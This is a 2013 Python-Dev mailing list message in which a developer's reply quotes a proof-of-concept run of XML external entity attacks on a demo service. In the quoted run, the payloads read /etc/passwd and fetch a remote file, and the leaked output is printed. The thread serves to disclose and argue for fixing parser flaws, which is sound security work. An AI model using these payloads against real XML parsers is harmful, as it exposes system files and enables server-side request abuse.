[Python-Dev] XML DoS vulnerabilities and exploits in Python

[M.-A. Lemburg]

Reminds me of the encoding attacks that were possible in earlier
versions of Python... you could have e.g. an email processing
script run the Python test suite by simply sending a specially
crafted email :-)

On 21.02.2013 13:04, Christian Heimes wrote:
> Am 21.02.2013 11:32, schrieb Antoine Pitrou:
>> You haven't proved that these were actual threats, nor how they
>> actually worked. I'm gonna remain skeptical if there isn't anything
>> more precise than "It highly depends on the parser and the application
>> what kind of exploit is possible".
> 
> https://bitbucket.org/tiran/defusedxml/src/82f4037464418bf11ea734969b7ca1c193e6ed91/other/python-external.py?at=default
> 
> $ ./python-external.py
> 
> REQUEST:
> --------
> <weather>Aachen</weather>
> 
> RESPONSE:
> ---------
> <weather>The weather in Aachen is terrible.</weather
> 
> 
> REQUEST:
> --------
> <?xml version="1.0" encoding="utf-8"?>
> <!DOCTYPE weather [
> <!ENTITY passwd SYSTEM "file:///etc/passwd">
> ]>
> <weather>&passwd;</weather>
> 
> 
> RESPONSE:
> ---------
> <error>Unknown city root:x:0:0:root:/root:/bin/bash
> daemon:x:1:1:daemon:/usr/sbin:/bin/sh
> bin:x:2:2:bin:/bin:/bin/sh
> sys:x:3:3:sys:/dev:/bin/sh
> sync:x:4:65534:sync:/bin:/bin/sync
> games:x:5:60:games:/usr/games:/bin/sh
> man:x:6:12:man:/var/cache/man:/bin/sh
> lp:x:7:7:lp:/var/spool/lpd:/bin/sh
> mail:x:8:8:mail:/var/mail:/bin/sh
> news:x:9:9:news:/var/spool/news:/bin/sh
> uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
> proxy:x:13:13:proxy:/bin:/bin/sh
> www-data:x:33:33:www-data:/var/www:/bin/sh
> backup:x:34:34:backup:/var/backups:/bi</error>
> 
> 
> REQUEST:
> --------
> <?xml version="1.0" encoding="utf-8"?>
> <!DOCTYPE weather [
> <!ENTITY url SYSTEM
> "http://hg.python.org/cpython/raw-file/a11ddd687a0b/Lib/test/dh512.pem">
> ]>
> <weather>&url;</weather>
> 
> 
> RESPONSE:
> ---------
> <error>Unknown city -----BEGIN DH PARAMETERS-----
> MEYCQQD1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWak
> XUGfnHy9iUsiGSa6q6Jew1XpKgVfAgEC
> -----END DH PARAMETERS-----
> 
> These are the 512 bit DH parameters from "Assigned Number for SKIP
> Protocols"
> (http://www.skip-vpn.org/spec/numbers.html).
> See there for how they were generated.
> Note that g is not a generator, but this is not a problem since p is a
> safe prime.
> </error>
> 
> 
> Q.E.D.
> Christian
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/mal%40egenix.com
> 

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Services directly from the Source  (#1, Feb 24 2013)
>>> Python Projects, Consulting and Support ...   http://www.egenix.com/
>>> mxODBC.Zope/Plone.Database.Adapter ...       http://zope.egenix.com/
>>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________

::::: Try our mxODBC.Connect Python Database Interface for free ! ::::::

   eGenix.com Software, Skills and Services GmbH  Pastor-Loeh-Str.48
    D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg
           Registered at Amtsgericht Duesseldorf: HRB 46611
               http://www.egenix.com/company/contact/